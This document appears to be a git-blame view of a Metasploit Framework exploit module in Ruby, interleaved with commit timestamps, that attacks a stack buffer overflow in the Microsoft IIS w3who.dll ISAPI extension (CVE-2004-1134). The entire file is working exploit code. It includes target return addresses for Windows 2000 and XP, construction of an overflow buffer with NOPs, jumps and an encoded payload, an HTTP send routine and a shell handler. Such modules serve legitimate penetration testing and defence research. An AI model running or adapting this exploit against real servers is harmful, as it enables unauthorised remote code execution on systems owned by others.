2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-15 00:48:03 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2010-07-07 17:38:59 +00:00
|
|
|
# XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] }
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-02-15 00:48:03 +00:00
|
|
|
super(update_info(info,
|
2006-09-13 06:28:35 +00:00
|
|
|
'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
|
2005-12-26 14:34:22 +00:00
|
|
|
'Description' => %q{
|
2010-06-25 20:53:12 +00:00
|
|
|
This module exploits a stack buffer overflow in the w3who.dll ISAPI
|
2005-12-26 14:34:22 +00:00
|
|
|
application. This vulnerability was discovered Nicolas
|
|
|
|
Gregoire and this code has been successfully tested against
|
|
|
|
Windows 2000 and Windows XP (SP2). When exploiting Windows
|
|
|
|
XP, the payload must call RevertToSelf before it will be
|
|
|
|
able to spawn a command shell.
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-06-25 20:53:12 +00:00
|
|
|
[ 'CVE', '2004-1134' ],
|
|
|
|
[ 'OSVDB', '12258' ],
|
|
|
|
[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ],
|
|
|
|
[ 'BID', '11820' ]
|
2005-12-26 14:34:22 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 632,
|
|
|
|
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
|
|
|
|
'MinNops' => 128,
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-02-15 00:48:03 +00:00
|
|
|
'Targets' =>
|
2005-12-26 14:34:22 +00:00
|
|
|
[
|
2010-02-15 00:48:03 +00:00
|
|
|
['Automatic Detection', { }],
|
2005-12-26 14:34:22 +00:00
|
|
|
['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic
|
|
|
|
['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic
|
|
|
|
],
|
2010-02-15 00:48:03 +00:00
|
|
|
'DefaultTarget' => 0,
|
2005-12-26 14:34:22 +00:00
|
|
|
'DisclosureDate' => 'Dec 6 2004'))
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]),
|
|
|
|
], self.class)
|
2005-12-26 14:34:22 +00:00
|
|
|
end
|
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
def auto_target
|
2010-07-07 17:38:59 +00:00
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => datastore['URL']
|
|
|
|
}, -1)
|
2010-07-07 17:38:59 +00:00
|
|
|
http_fingerprint({ :response => res }) # XXX: Needs custom body match
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
# Was a vulnerable system detected?
|
|
|
|
t = nil
|
2005-12-26 14:34:22 +00:00
|
|
|
if (res and res.body =~ /Access Token/)
|
2010-06-25 20:53:12 +00:00
|
|
|
case res.headers['Server']
|
|
|
|
when /5\.1/
|
|
|
|
t = targets[2]
|
|
|
|
else
|
|
|
|
t = targets[1]
|
|
|
|
end
|
2005-12-26 14:34:22 +00:00
|
|
|
end
|
2010-06-25 20:53:12 +00:00
|
|
|
t
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
def check
|
|
|
|
if auto_target
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
2005-12-26 14:34:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2006-12-28 23:42:36 +00:00
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
if (target.name =~ /Automatic/)
|
|
|
|
mytarget = auto_target
|
|
|
|
else
|
|
|
|
mytarget = target
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
if not mytarget
|
2012-06-19 17:59:15 +00:00
|
|
|
fail_with(Exploit::Failure::NoTarget, "No valid target found")
|
2010-02-15 00:48:03 +00:00
|
|
|
end
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
buf = rand_text_english(8192, payload_badchars)
|
2010-02-15 00:48:03 +00:00
|
|
|
buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
|
|
|
|
buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')
|
|
|
|
buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
|
|
|
|
buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
print_status("Sending request...")
|
2006-12-28 23:42:36 +00:00
|
|
|
r = send_request_raw({
|
|
|
|
'uri' => datastore['URL'],
|
|
|
|
'query' => buf
|
|
|
|
}, 5)
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|